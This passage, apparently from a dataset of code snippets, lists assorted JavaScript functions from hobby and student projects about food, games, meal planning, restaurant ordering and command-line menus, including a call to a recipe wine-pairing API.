(!foodCell.hasClass('snake-cell')) {\\n foodCell.addClass(\\\"food-cell\\\");\\n food='_'+fRow+'_'+fCol;\\n }\\n else randomFood();\\n }\",\n \"function fightOrCave() {\\n\\n let whereNext = prompt(\\\"Vart vill du gå nu? Ange fight för att gå och bekämpa monstret eller grottan för att gå till grottan\\\").toLowerCase();\\n\\n if (whereNext === \\\"grottan\\\"){\\n goToCaveSecondTime();\\n }\\n else if (whereNext === \\\"fight\\\") {\\n alert(\\\"Oops, du har ju inte skölden än... Du måste hämta den först. Klicka ok för att gå till grottan.\\\")\\n goToCaveSecondTime();\\n }\\n else {\\n alert(\\\"Vänligen ange fight eller grottan\\\")\\n fightOrCave()\\n }\\n\\n \\n}\",\n \"function generateMealPlan() {\\n // here we will let them decide, based on their diet type, we can take a quick survey of the current diet type\\n // when they click generate a meal plan because this can change very regularly\\n\\n if (dietType == 'maintain' /* check if the diet type == maintainWeight*/) {\\n // this means that they do not need to change amount of calories burn, so essentially calorieLoss = regular loss\\n calorieIntake = calculateBMR();\\n } else if (dietType == 'gain' /*check if the diet type == weightGain*/) {\\n // to gain weight we must add around 500 calories (this is a changing factor) to the intake amount\\n // for this we will need to ask them again in the quick survey if this diet is selected how main pounds\\n // are they trying to gain, normal (healthy) amount are 0.5lb (+250 calories) and 1lb (+500 calories) a week\\n neededCalories = 250 /* 250 ?*/; //again we will check and change this value depending on amount loss\\n calorieIntake = calculateBMR() + neededCalories;\\n } else if (dietType == 'loss') {\\n // to lose weight we must subtract around 500 calories(this is a changing factor) to the intake amount\\n // for this we will need to ask them again in the quick survey if this diet is selected how main pounds\\n // are they trying to lose, normal (healthy) amount are 0.5lb (-250 calories) and 1lb (-500 calories) a week\\n neededCalories = 250 /* 500 ?*/;\\n calorieIntake = calculateBMR() - neededCalories;\\n }\\n\\n // now we can call the calorieIntake value and essentially grab a meal/meals that are within this range for the\\n // user\\n\\n // we can make calls to the database and check for the essential meal here this might be a little difficult\\n // since we need to make a meal for the day in a sense, so we need to check with the nutritionist \\n // about what should be allocated for calories for breakfast, lunch, and dinner\\n\\n // also we need to check for allergies and account for this in some way, but that can be handled later\\n // once we nail down the functionality of this.\\n return calorieIntake;\\n}\",\n \"function fighterSelect() {\\n if (userSelected === false) {\\n userChoice.append($(this));\\n userSelected = true;\\n for (let i = 0; i < fighterArray.length; i++) {\\n if ($(this).attr('alt') === fighterArray[i].name) {\\n userFighter = fighterArray[i];\\n userFighter.hide();\\n }\\n }\\n return userFighter\\n }\\n \\n else if (userSelected === true && enemySelected === false) {\\n enemyChoice.append($(this));\\n enemySelected = true;\\n for (let i = 0; i < fighterArray.length; i++) {\\n if ($(this).attr('alt') === fighterArray[i].name) {\\n enemyFighter = fighterArray[i];\\n enemyFighter.hide();\\n }\\n }\\n return enemyFighter;\\n }\\n }\",\n \"async function e_greedy() {\\r\\n\\t\\tlet action;\\r\\n\\t\\t//Based off explore/exploit\\r\\n\\t\\tif (Math.random() < epsilon) { //chooses best action\\r\\n\\t\\t\\t//read max value from firestore database and get the id\\r\\n\\t\\t\\tlet response = await getMax(s);\\r\\n\\t\\t\\taction = response;\\r\\n\\t\\t} else { //choose random action\\r\\n\\t\\t\\taction = Math.floor(Math.random() * Math.floor(states));; //if a = 8, this indicates to choose random state\\r\\n\\t\\t}\\r\\n\\t\\treturn action;\\r\\n\\t}\",\n \"function pickSearchTerm() {\\n let options = [\\\"stop\\\", \\\"mad\\\", \\\"angry\\\", \\\"annoyed\\\", \\\"cut it\\\" ];\\n return options[Math.floor(Math.random() * 4)];\\n}\",\n \"function printFruitOrVeggie(word) {\\n switch (word) {\\n case 'banana':\\n case 'apple':\\n case 'kiwi':\\n case 'cherry':\\n case 'lemon':\\n case 'grapes':\\n case 'peach':\\n console.log('fruit'); break;\\n case 'tomato':\\n case 'cucumber':\\n case 'pepper':\\n case 'onion':\\n case 'parsley':\\n case 'garlic':\\n console.log('vegetable'); break;\\n default:\\n console.log('unknown');\\n }\\n }\",\n \"checkForFood(foods) {\\n for (var i=0; i < foods.length; i++) {\\n let distance = Math.abs(super.subtractVectors(this.position, foods[i].position));\\n if (distance <= this.senseRadius && distance >= 0) {\\n if (distance <= this.stepSize / 2 && distance >= 0) {\\n this.eat(foods[i]);\\n this.foodIsNearby = false;\\n } else {\\n this.foodIsNearby = true;\\n }\\n } else {\\n this.foodIsNearby = false;\\n }\\n }\\n }\",\n \"function checkMeat(food) {\\n var aisle = food;\\n console.log(aisle);\\n console.log(aisleIngredients);\\n if (aisleIngredients.indexOf(\\\"Seafood\\\") >= 0) {\\n var searchTerm =\\n wineIngredients[aisleIngredients.indexOf(\\\"Seafood\\\")].nameClean;\\n console.log(searchTerm);\\n fetch(\\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\\n )\\n .then((blob) => {\\n return blob.json();\\n })\\n .then((response) => {\\n if (\\n typeof response.pairingText != \\\"undefined\\\" &&\\n response.pairingText != \\\"\\\"\\n ) {\\n winePair.innerHTML = response.pairingText;\\n } else {\\n lastWine();\\n }\\n });\\n } else if (aisleIngredients.indexOf(\\\"Frozen;Meat\\\") >= 0) {\\n var searchTerm =\\n wineIngredients[aisleIngredients.indexOf(\\\"Frozen;Meat\\\")].nameClean;\\n console.log(searchTerm);\\n fetch(\\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\\n )\\n .then((blob) => {\\n return blob.json();\\n })\\n .then((response) => {\\n if (\\n typeof response.pairingText != \\\"undefined\\\" &&\\n response.pairingText != \\\"\\\"\\n ) {\\n winePair.innerHTML = response.pairingText;\\n } else {\\n lastWine();\\n }\\n });\\n } else if (aisleIngredients.indexOf(\\\"Meat\\\") >= 0) {\\n var searchTerm =\\n wineIngredients[aisleIngredients.indexOf(\\\"Meat\\\")].nameClean;\\n console.log(searchTerm);\\n fetch(\\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\\n )\\n .then((blob) => {\\n return blob.json();\\n })\\n .then((response) => {\\n if (\\n typeof response.pairingText != \\\"undefined\\\" &&\\n response.pairingText != \\\"\\\"\\n ) {\\n winePair.innerHTML = response.pairingText;\\n } else {\\n lastWine();\\n }\\n });\\n } else if (aisleIngredients.indexOf(\\\"Pasta and Rice\\\") >= 0) {\\n var searchTerm =\\n wineIngredients[aisleIngredients.indexOf(\\\"Pasta and Rice\\\")].nameClean;\\n console.log(searchTerm);\\n fetch(\\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\\n )\\n .then((blob) => {\\n return blob.json();\\n })\\n .then((response) => {\\n if (\\n typeof response.pairingText != \\\"undefined\\\" &&\\n response.pairingText != \\\"\\\"\\n ) {\\n winePair.innerHTML = response.pairingText;\\n } else {\\n lastWine();\\n }\\n });\\n } else if (aisleIngredients.indexOf(\\\"Cheese\\\") >= 0) {\\n var searchTerm =\\n wineIngredients[aisleIngredients.indexOf(\\\"Cheese\\\")].nameClean;\\n console.log(searchTerm);\\n fetch(\\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\\n )\\n .then((blob) => {\\n return blob.json();\\n })\\n .then((response) => {\\n if (\\n typeof response.pairingText != \\\"undefined\\\" &&\\n response.pairingText != \\\"\\\"\\n ) {\\n winePair.innerHTML = response.pairingText;\\n } else {\\n lastWine();\\n }\\n });\\n } else if (aisleIngredients.indexOf(\\\"Produce\\\") >= 0) {\\n var searchTerm =\\n wineIngredients[aisleIngredients.indexOf(\\\"Produce\\\")].nameClean;\\n console.log(searchTerm);\\n fetch(\\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\\n )\\n .then((blob) => {\\n return blob.json();\\n })\\n .then((response) => {\\n if (\\n typeof response.pairingText != \\\"undefined\\\" &&\\n response.pairingText != \\\"\\\"\\n ) {\\n winePair.innerHTML = response.pairingText;\\n } else {\\n lastWine();\\n }\\n });\\n } else if (aisleIngredients.indexOf(\\\"Nuts\\\") >= 0) {\\n var searchTerm =\\n wineIngredients[aisleIngredients.indexOf(\\\"Nuts\\\")].nameClean;\\n console.log(searchTerm);\\n fetch(\\n `https://api.spoonacular.com/food/wine/pairing?food=${searchTerm}&apiKey=${apiKey}`\\n )\\n .then((blob) => {\\n return blob.json();\\n })\\n .then((response) => {\\n if (\\n typeof response.pairingText != \\\"undefined\\\" &&\\n response.pairingText != \\\"\\\"\\n ) {\\n winePair.innerHTML = response.pairingText;\\n } else {\\n lastWine();\\n }\\n });\\n } else {\\n lastWine();\\n }\\n}\",\n \"function selectRestaurant() {\\n let restaurant = document.getElementById(\\\"dropdown\\\").firstChild.value;\\n let clear;\\n if (restaurant === null) {\\n return;\\n } else if (Object.keys(order.items).length > 0) {\\n //Confirm the if the user wants to proceed to clear the order\\n clear = confirm(\\\"Would you like to clear the current order?\\\");\\n if(!clear) {\\n document.getElementById(\\\"dropdown\\\").firstChild.value = \\\"\\\";\\n return;\\n }\\n }\\n\\n clearOrder(true);\\n\\n changeRestaurant(restaurant);\\n\\n}\",\n \"function randomEmote () {\\n let emoteState = pet_info.state\\n \\n switch(emoteState) {\\n case 'good':\\n const goodPetStates = [\\n './assets/Emote_Heart.png',\\n './assets/Emote_Hi!.gif',\\n './assets/Emote_Game.png',\\n './assets/Emote_Laugh.gif',\\n './assets/Emote_Happy.png',\\n './assets/Emote_Note.png',\\n './assets/Emote_Yes.gif'\\n ]\\n \\n const goodArrayLength = goodPetStates.length\\n let goodSelectedState = Math.floor((Math.random() * goodArrayLength) + 0)\\n\\n $('.pet-state').attr('src', goodPetStates[goodSelectedState])\\n \\n break\\n case 'bad':\\n const badPetStates = [\\n './assets/Emote_No.gif',\\n './assets/Emote_Sad.png',\\n './assets/Emote_Sick.gif',\\n './assets/Emote_Surprised.gif',\\n './assets/Emote_Uh.gif',\\n './assets/Emote_Angry.png'\\n ]\\n \\n const badArrayLength = badPetStates.length\\n let badSelectedState = Math.floor((Math.random() * badArrayLength) + 0)\\n \\n $('.pet-state').attr('src', badPetStates[badSelectedState])\\n \\n break\\n case 'dead':\\n const deadPetStates = [\\n './assets/Emote_Sleep.png',\\n './assets/Emote_X.png',\\n './assets/Emote_Exclamation.png'\\n ]\\n \\n const deadArrayLength = deadPetStates.length\\n let deadSelectedState = Math.floor((Math.random() * deadArrayLength) + 0)\\n \\n $('.pet-state').attr('src', deadPetStates[deadSelectedState])\\n \\n break\\n default:\\n const defaultPetState = 'Emote_Question.png'\\n $('.pet-state').attr('src', defaultPetState)\\n }\\n}\",\n \"function alertAll() {\\n let ask = prompt(`What type of coffee maker you are interested in? : \\\\n Drip,Carob,Coffee-Machine`)\\n let lowerAsk = ask.toLowerCase();\\n\\n if (lowerAsk == 'drip') {\\n newCoffeeMachine.firstMethod()\\n newCoffeeMachine.history()\\n }\\n if(lowerAsk == 'carob'){\\n newCoffeeMachine3.firstMethod()\\n newCoffeeMachine3.mainType()\\n }\\n if(lowerAsk == 'coffee-machine'){\\n newCoffeeMachine2.firstMethod()\\n newCoffeeMachine2.history()\\n }\\n}\",\n \"function pickUp(index) {\\n var pt = self[self.turn];\\n var result = self.food[pt];\\n if (!result) return; // Nothing to do\\n if (result.length == 1) index = 0; // Unique\\n if (index == null) { // Can't decide now...\\n newState.pending = action;\\n return;\\n }\\n reward += self.food[pt][index]; // Take the food\\n newState.food[pt] = null; // Food is now gone\\n }\",\n \"function eatFood() {\\n var lastball = snake[snake.length - 1];\\n if (lastball.x == food.x * 20 && lastball.y == food.y*20 ) {\\n eat.play()\\n score++;\\n add();\\n createFood();\\n }\\n}\",\n \"function placeFood() {\\n if (!isThereEmptyCell()) return;\\n var cell = getCell([~~(Math.random() * settings.size[0]), ~~(Math.random() * settings.size[1])]);\\n if (cell.className) placeFood();\\n else cell.className = 'food';\\n }\",\n \"onSelectRestaurant(restaurant){\\n this.closeAllRestaurant()\\n restaurant.viewDetailsComments()\\n restaurant.viewImg()\\n\\n }\",\n \"function selectCheese(cheese) {\\n if($scope.model.selectedBurger.cheese) {\\n $scope.model.selectedBurger.cheese.selected = false;\\n }\\n if(cheese !== undefined) {\\n $scope.model.selectedBurger.cheese = cheese;\\n $scope.model.selectedBurger.cheese.selected = true;\\n }\\n\\n selectStep('salads');\\n }\",\n \"function selectAction() {\\n inquirer.prompt([\\n {\\n name: \\\"action\\\",\\n message: \\\"Please select what you want to do:\\\",\\n type: \\\"list\\\",\\n choices: [\\n \\\"View Product Sales by Department\\\",\\n \\\"Create New Department\\\",\\n ]\\n }\\n // use if to lead manager to the different functions\\n ]).then(function (answers) {\\n if (answers.action === \\\"View Product Sales by Department\\\") {\\n // run the list function to display all available product\\n console.log(\\\"=============================================\\\")\\n salesByDepartment()\\n } else if (answers.action === \\\"Create New Department\\\") {\\n // run the lowInventory function to display all product with lower than 5 stock quant\\n console.log(\\\"=============================================\\\")\\n createDepartment() \\n } else {\\n console.log(\\\"I don't know what you want to do.\\\")\\n }\\n })\\n}\",\n \"function findTheCheese (foods) {\\n const cheese = [\\\"cheddar\\\", \\\"gouda\\\", \\\"camembert\\\"];\\n \\n for (let i=0; i < foods.length; i++) { \\n \\n let flag = cheese.indexOf(foods[i]);\\n \\n if(flag !== -1) {\\n return foods[i];\\n }\\n } \\n return \\\"no cheese!\\\";\\n}\",\n \"function app(people){\\n let searchType = promptFor(\\\"Do you know the name of the person you are looking for? Enter 'yes' or 'no'\\\", yesNo).toLowerCase();\\n let searchResults;\\n let pickAdventure;\\n switch(searchType){\\n case 'yes':\\n searchResults = searchByName(people);\\n break;\\n case 'no':\\n let pickAdventure = decideSearch();\\n if (pickAdventure === \\\"one\\\"){\\n searchResults = searchByTraits(people);\\n } \\n else if (pickAdventure === \\\"multiple\\\"){\\n //multiple search\\n }\\n else{\\n alert(\\\"Invalid Response\\\");\\n decideSearch();\\n }\\n // TODO: search by traits\\n break;\\n default:\\n app(people); // restart app\\n break;\\n }\\n \\n // Call the mainMenu function ONLY after you find the SINGLE person you are looking for\\n mainMenu(searchResults, people);\\n \\n}\",\n \"function explore(name) {\\n // create a random number, if that number is either 3, 6 or 9, the player will fight a monster\\n const randomNumber = Math.floor(Math.random() * 10) + 1;\\n\\n if (randomNumber === 3 || randomNumber === 6 || randomNumber === 9) {\\n // disable button to explore tower and insert dialogue that let players know which monster they are facing\\n disableExploreTowerButton();\\n monsterEncounterDialogue();\\n \\n } else {\\n exploreDialogue(name);\\n }\\n}\",\n \"function pickFruits() {\\n return getApple()\\n .then(apple => {\\n return getBanana()\\n .then(banana => `${apple} + ${banana}`);\\n });\\n}\",\n \"function aDifficultChoice(choice){\\n if(choice==1){\\n return 'Take her daughter to a doctor';\\n }\\n else{\\n if(choice==-1)\\n {\\n return 'Break down and give up all hope';\\n } \\n }\\n if(typeof(choice)=='undefined')\\n {\\n return \\\"Wasn't able to decide\\\";\\n }\\n else{\\n if(choice==\\\"I give up\\\")\\n {\\n return \\\"Refused to do anything for Karen\\\";\\n }\\n}\\n}\",\n \"function ChooseBattleOption(){\\r\\n\\r\\n PotentialDamageBlocked[0] = 0; // If Both Players Defend\\r\\n PotentialDamageDealt[0] = Attack; // If Both Players Attack\\r\\n\\r\\n if (NatureControllerScript.Attack >= Defence) PotentialDamageBlocked[1] = Defence; //If Nature Attacks and Human defends\\r\\n if (NatureControllerScript.Attack < Defence) PotentialDamageBlocked[1] = NatureControllerScript.Attack; //If Nature Attacks and Human defends\\r\\n\\r\\n var NetDamageDealt: int; \\r\\n NetDamageDealt = Attack - NatureControllerScript.Defence;\\r\\n if (NetDamageDealt > 0) PotentialDamageDealt[1] = NetDamageDealt; //If Human Attacks and Nature defends\\r\\n if (NetDamageDealt <= 0) PotentialDamageDealt[1] = 0; //If Human Attacks and Nature defends (Successful Defence)\\r\\n\\r\\n AttackingPotential = (PotentialDamageDealt[0]+PotentialDamageDealt[1])/2;\\r\\n DefendingPotential = (PotentialDamageBlocked[0]+PotentialDamageBlocked[1])/2;\\r\\n \\r\\n if (DefendingPotential > AttackingPotential){\\r\\n Choice = 1; //Defend\\r\\n }\\r\\n\\r\\n if (AttackingPotential > DefendingPotential){\\r\\n Choice = 0; //Attack\\r\\n }\\r\\n\\r\\n if (AttackingPotential == DefendingPotential){\\r\\n if (Health >= NatureControllerScript.Health) Choice = 0; //Choice = Attack\\r\\n if (Health < NatureControllerScript.Health) Choice = 1; //Choice = Defend\\r\\n }\\r\\n}\",\n \"function picker(action, target) {\\n switch (action) {\\n case \\\"concert-this\\\":\\n concertthis(target);\\n break;\\n\\n case \\\"spotify-this-song\\\":\\n spotifythissong(target);\\n break;\\n\\n case \\\"movie-this\\\":\\n moviethis(target);\\n break;\\n\\n case \\\"do-what-it-says\\\":\\n dowhatitsays();\\n break;\\n\\n default:\\n console.log(\\\"Hmmm ... I don't understand.\\\");\\n break;\\n }\\n}\",\n \"function spawnFood() {\\n\\tvar x = Math.floor(Math.random()*(WIDTH-3))+1;\\n\\tvar y =\\tMath.floor(Math.random()*(HEIGHT-5))+3;\\n\\tvar f = {x: x, y: y};\\n\\tvar clear = snake.body.every(\\n\\t\\t\\tfunction(cell) {\\n\\t\\t\\t\\treturn !isTouchingFood(cell, f);\\n\\t\\t\\t}) && !isTouchingFood(snake.head, f);\\n\\tif (clear) {\\n\\t\\tfood = new Food(x, y);\\n\\t} else {\\n\\t\\tspawnFood();\\n\\t}\\n}\",\n \"function Food() {\\n var food_x = Math.floor(Math.random() * backWidth);\\n var food_y = Math.floor(Math.random() * backHeight);\\n\\n board[food_y][food_x].food = 1;\\n }\",\n \"function pickLocForFood() {\\n\\tvar cols = floor(windowWidth/s.sWidth);\\n\\tvar rows = floor(windowHeight/s.sHeight);\\n\\tfoodPosition =createVector(floor (random(cols)), floor(random(rows)));\\n\\tfoodPosition.x = constrain (foodPosition.x * s.sWidth, 20, windowWidth-s.sWidth-60);\\n\\tfoodPosition.y = constrain (foodPosition.y * s.sHeight, 20, windowWidth-s.sHeight-20);\\n}\",\n \"function hasPizza (foodTray) {\\n return foodTray.indexOf('pizza') !== -1;\\n}\",\n \"async function makeFood(step) {\\n try {\\n if (step < brusselSprouts.length) {\\n await addFood(brusselSprouts[step], \\\"#brusselSprouts\\\"); // Coloco o passo atual na fila\\n makeFood(step + 1); // Dou o próximo passo na receita\\n } else {\\n throw \\\"End of recipe.\\\";\\n }\\n } catch (err) {\\n console.log(err);\\n }\\n}\",\n \"function whichMeal(datapoint){\\n let f = datapoint.whichMeal;\\n if (f = \\\"breakfast\\\"){\\n return \\\"0.1\\\";\\n }else if (f = \\\"lunch\\\"){\\n return \\\"0.5\\\";\\n }else if (f = \\\"lunch\\\"){\\n return \\\"1\\\";\\n }\\n}\",\n \"function EatFood(agent) {\\n\\tthis.description = 'eating food';\\n\\n\\tthis.evaluate = function(context) {\\n\\t\\tvar self = this;\\n\\t\\tvar result = agent.grid.eachThing(function(food) {\\n\\t\\t\\tif(!food.claimedBy &&\\n\\t\\t\\t\\tagent.pos.x == food.pos.x &&\\n\\t\\t\\t\\tagent.pos.y == food.pos.y) {\\n\\t\\t\\t\\tagent.grid.claimFood(food, agent);\\n\\t\\t\\t}\\n\\t\\t\\tif(food.claimedBy == agent) {\\n\\t\\t\\t\\tcontext.updateRunningTime(self, context.elapsedTime);\\n\\t\\t\\t\\tfood.consume(context.runningTime);\\n\\t\\t\\t\\treturn BT.NodeStatus.Running;\\n\\t\\t\\t}\\n\\t\\t}, Food);\\n\\n\\t\\treturn typeof result !== 'undefined' ? result : BT.NodeStatus.Failure;\\n\\t};\\n}\",\n \"randomAction() {\\n var action;\\n const role = this.role.toLowerCase();\\n switch (this.location.location.toLowerCase()) {\\n case 'throne': \\n if (role == 'advisor' && randomChoice([0,1,1]) == 1) {\\n action = new Action.Propose(randomChoice([100,150,200,300]),randomChoice([this.game.courtyard,this.game.chapel,this.game.barracks]));\\n } break;\\n case 'courtyard': break;\\n case 'ballroom': \\n if (role != 'captain' && role != 'grim' && randomChoice([0,1,1]) == 1) {\\n action = new Action.Laud(randomChoice(this.game.characters));\\n } break;\\n case 'chapel':\\n if (role != 'captain' && randomChoice([0,1,1]) == 1) {\\n action = new Action.Pray();\\n } break;\\n case 'barracks': break;\\n }\\n if (action == null) {\\n action = randomChoice([0,0,1]) == 1 ? this.randomVisit() : new Action.Investigate(randomChoice(this.game.characters));\\n }\\n if (action.time <= this.time) {\\n return action;\\n } else {\\n return new Action.End(this.time);\\n }\\n }\",\n \"function handleNewMealRequest(response) {\\n // Get a random meal from the random meals list\\n var mealIndex = Math.floor(Math.random() * RANDOM_MEALS.length);\\n var meal = RANDOM_MEALS[mealIndex];\\n\\n // Create speech output\\n var speechOutput = \\\"Here's a suggestion: \\\" + meal;\\n\\n response.tellWithCard(speechOutput, \\\"MealRecommendations\\\", speechOutput);\\n}\",\n \"function select_by_weather(recipes) {\\n recipes.forEach(recipe => {\\n recipe['weather'] = false;\\n });\\n let selectedChoices = findIfFilters(\\\"weather\\\");\\n if (selectedChoices.length === 0) {\\n document.querySelector('#no-filter-chosen').style.display = 'block';\\n } else {\\n filter(\\\"weather\\\", selectedChoices);\\n display_selected_recipes();\\n history.pushState({ recipes: 'loaded', weather_types: selectedChoices }, ``, '/recipes');\\n }\\n}\",\n \"function displayPizzaType(){\\n if (pizzaArray.indexOf(randPizza) === 0){\\n pizzaType.innerText = 'Cheese';\\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese';\\n } else if (pizzaArray.indexOf(randPizza) === 1){\\n pizzaType.innerText = 'Pepperoni';\\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Pepperoni';\\n } else if (pizzaArray.indexOf(randPizza) === 2){\\n pizzaType.innerText = 'Sausage & Peppers';\\n ingredientList.innerHTML = 'Sauce, Cheese, Sausage, Peppers';\\n } else if (pizzaArray.indexOf(randPizza) === 3){\\n pizzaType.innerText = 'Breath-mint';\\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Anchovies, Garlic, Onion';\\n } else if (pizzaArray.indexOf(randPizza) === 4){\\n pizzaType.innerText = 'Marg';\\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Basil, Garlic, Tomato';\\n } else if (pizzaArray.indexOf(randPizza) === 5){\\n pizzaType.innerText = 'Meat Lovers';\\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Sausage, Pepperoni, Bacon, Ham';\\n } else if (pizzaArray.indexOf(randPizza) === 6){\\n pizzaType.innerText = 'Veggie';\\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Mushroom, Onion, Peppers, Tomato';\\n } else if (pizzaArray.indexOf(randPizza) === 7){\\n pizzaType.innerText = 'White';\\n ingredientList.innerHTML = 'Ingredients
    Cheese, Basil, Tomato, Garlic';\\n } else if (pizzaArray.indexOf(randPizza) === 8){\\n pizzaType.innerText = 'Vegan';\\n ingredientList.innerHTML = 'Ingredients
    Sauce, Basil, Tomato, Mushroom, Onion, Pepper';\\n } else if (pizzaArray.indexOf(randPizza) === 9){\\n pizzaType.innerText = 'Hawaiian';\\n ingredientList.innerHTML = 'Ingredients
    Sauce, Cheese, Ham, Pineapple';\\n } \\n\\n}\",\n \"function getChoice() {\\n inquirer.prompt({\\n name: \\\"action\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\\"View Products for Sale\\\", \\\"View Low Inventory\\\", \\\"Add to Inventory\\\", \\\"Add New Product\\\"]\\n }).then(function(answer) {\\nswitch(answer.action) {\\n\\tcase 'View Products for Sale':\\n\\t\\tviewProducts();\\n\\tbreak;\\n\\n\\tcase 'View Low Inventory':\\n\\t\\tviewLowInventory();\\n\\tbreak;\\n\\t\\n\\tcase 'Add to Inventory':\\n\\t\\trestockInventory();\\n\\tbreak; \\n\\t\\n\\tcase 'Add New Product':\\n\\t\\taddNewProduct();\\n\\tbreak;\\n }\\n })\\n}\",\n \"function Food_Function() {\\n var Food_Output;\\n var Foods = document.getElementById(\\\"Food_Input\\\").value\\n var Food_String = \\\" is a Delicious Food!\\\"\\n switch(Foods) {\\n case \\\"Chips\\\": //a case, are the various conditions that are evaluated \\n Food_Output = \\\"Chips\\\" + Food_String;\\n break;\\n case \\\"Steak\\\":\\n Food_Output = \\\"Steak\\\" + Food_String;\\n break;\\n case \\\"Chicken\\\":\\n Food_Output = \\\"Chicken\\\" + Food_String;\\n break;\\n case \\\"Curry\\\":\\n Food_Output = \\\"Curry\\\" + Food_String;\\n break;\\n case \\\"Chilli\\\":\\n Food_Output = \\\"Chilli\\\" + Food_String;\\n break;\\n case \\\"Purple\\\":\\n Food_Output = \\\"Purple\\\" + Food_String;\\n break;\\n default:\\n Food_Output = \\\"Please enter a Food exactly as written on the above list\\\"; //if no case match prents this\\n}\\ndocument.getElementById(\\\"Output\\\").innerHTML=Food_Output;\\n}\",\n \"choose_treatment(){\\n // Gerando um número aleatório entre 0 e 26.\\n let index = (Math.floor(Math.random()* 25 + 1));\\n // Possíveis formas de tratamento.\\n let treatment = [\\n \\\"consagrado\\\",\\n \\\"condensado\\\",\\n \\\"condenado\\\",\\n \\\"chamuscado\\\",\\n \\\"concursado\\\",\\n \\\"condecorado\\\",\\n \\\"comissionado\\\",\\n \\\"calejado\\\", \\n \\\"cutucado\\\", \\n \\\"cuckado\\\", \\n \\\"abenssoado\\\", \\n \\\"desgraçado\\\", \\n \\\"lisonjeado\\\", \\n \\\"alejado\\\", \\n \\\"afetado\\\", \\n \\\"afeminado\\\", \\n \\\"sensualizado\\\", \\n \\\"fuzilado\\\", \\n \\\"adequado\\\", \\n \\\"algemado\\\", \\n \\\"amargurado\\\", \\n \\\"retardado\\\", \\n \\\"reciclado\\\", \\n \\\"coroado\\\", \\n \\\"abestado\\\", \\n \\\"ensaboado\\\"\\n ];\\n return treatment[index];\\n }\",\n \"function addFoodIcon(food) {\\n switch(pluralize.singular(food.name.toLowerCase())) {\\n case 'apple':\\n return 'apple-1.png';\\n break;\\n case 'asparagus':\\n return 'asparagus.png';\\n break;\\n case 'avocado':\\n return 'avocado.png';\\n break;\\n case 'bacon':\\n return 'bacon.png';\\n break;\\n case 'banana':\\n return 'banana.png';\\n break;\\n case 'bean':\\n return 'beans.png';\\n break;\\n case 'biscuit':\\n return 'biscuit.png';\\n break;\\n case 'blueberry':\\n return 'blueberries.png';\\n break;\\n case 'bread':\\n return 'bread-1.png';\\n break;\\n case 'broccoli':\\n return 'broccoli.png';\\n break;\\n case 'cabbage':\\n return 'cabbage.png';\\n break;\\n case 'cake':\\n return 'cake.png';\\n break;\\n case 'candy':\\n return 'candy.png';\\n break;\\n case 'carrot':\\n return 'carrot.png';\\n break;\\n case 'cauliflower':\\n return 'cauliflower.png';\\n break;\\n case 'cereal':\\n return 'cereals.png';\\n break;\\n case 'cheese':\\n return 'cheese.png';\\n break;\\n case 'cherry':\\n return 'cherries.png';\\n break;\\n case 'chili':\\n return 'chili.png';\\n break;\\n case 'chips':\\n return 'chips.png';\\n break;\\n case 'chives':\\n return 'chives.png';\\n break;\\n case 'green onion':\\n return 'chives.png';\\n break;\\n case 'chocolate':\\n return 'chocolate.png';\\n break;\\n case 'coconut':\\n return 'coconut.png';\\n break;\\n case 'coffee':\\n return 'coffee-2.png';\\n break;\\n case 'cookie':\\n return 'cookies.png';\\n break;\\n case 'corn':\\n return 'corn.png';\\n break;\\n case 'cucumber':\\n return 'cucumber.png';\\n break;\\n case 'egg':\\n return 'egg.png';\\n break;\\n case 'fish':\\n return 'fish.png';\\n break;\\n case 'flour':\\n return 'flour.png';\\n break;\\n case 'fry':\\n return 'fries.png';\\n break;\\n case 'garlic':\\n return 'garlic.png';\\n break;\\n case 'egg':\\n return 'egg.png';\\n break;\\n case 'grape':\\n return 'grapes.png';\\n break;\\n case 'ham':\\n return 'ham.png';\\n break;\\n case 'honey':\\n return 'honey.png';\\n break;\\n case 'ice cream':\\n return 'ice-cream-12.png';\\n break;\\n case 'jam':\\n return 'jam-1.png';\\n break;\\n case 'jelly':\\n return 'jam-1.png';\\n break;\\n case 'lemon':\\n return 'lemon-1.png';\\n break;\\n case 'lime':\\n return 'lime.png';\\n break;\\n case 'milk':\\n return 'milk-1.png';\\n break;\\n case 'mushroom':\\n return 'mushroom.png';\\n break;\\n case 'mustard':\\n return 'mustard.png';\\n break;\\n case 'noodles':\\n return 'noodles.png';\\n break;\\n case 'oat':\\n return 'oat.png';\\n break;\\n case 'olive oil':\\n return 'oil.png';\\n break;\\n case 'vegetable oil':\\n return 'oil.png';\\n break;\\n case 'oil':\\n return 'oil.png';\\n break;\\n case 'olive':\\n return 'olive.png';\\n break;\\n case 'onion':\\n return 'onion.png';\\n break;\\n case 'orange':\\n return 'orange.png';\\n break;\\n case 'pancake':\\n return 'pancakes-1.png';\\n break;\\n case 'pasta':\\n return 'spaguetti.png';\\n break;\\n case 'peach':\\n return 'peach.png';\\n break;\\n case 'pear':\\n return 'pear.png';\\n break;\\n case 'pea':\\n return 'peas.png';\\n break;\\n case 'pepper':\\n return 'pepper.png';\\n break;\\n case 'pickle':\\n return 'pickles.png';\\n break;\\n case 'pie':\\n return 'pie.png';\\n break;\\n case 'pineapple':\\n return 'pineapple.png';\\n break;\\n case 'beer':\\n return 'pint.png';\\n break;\\n case 'pistachio':\\n return 'pistachio.png';\\n break;\\n case 'pizza':\\n return 'pizza.png';\\n break;\\n case 'pomegranate':\\n return 'pomegranate.png';\\n break;\\n case 'potato':\\n return 'potatoes-2.png';\\n break;\\n case 'pretzel':\\n return 'pretzel.png';\\n break;\\n case 'pumpkin':\\n return 'pumpkin.png';\\n break;\\n case 'radish':\\n return 'radish.png';\\n break;\\n case 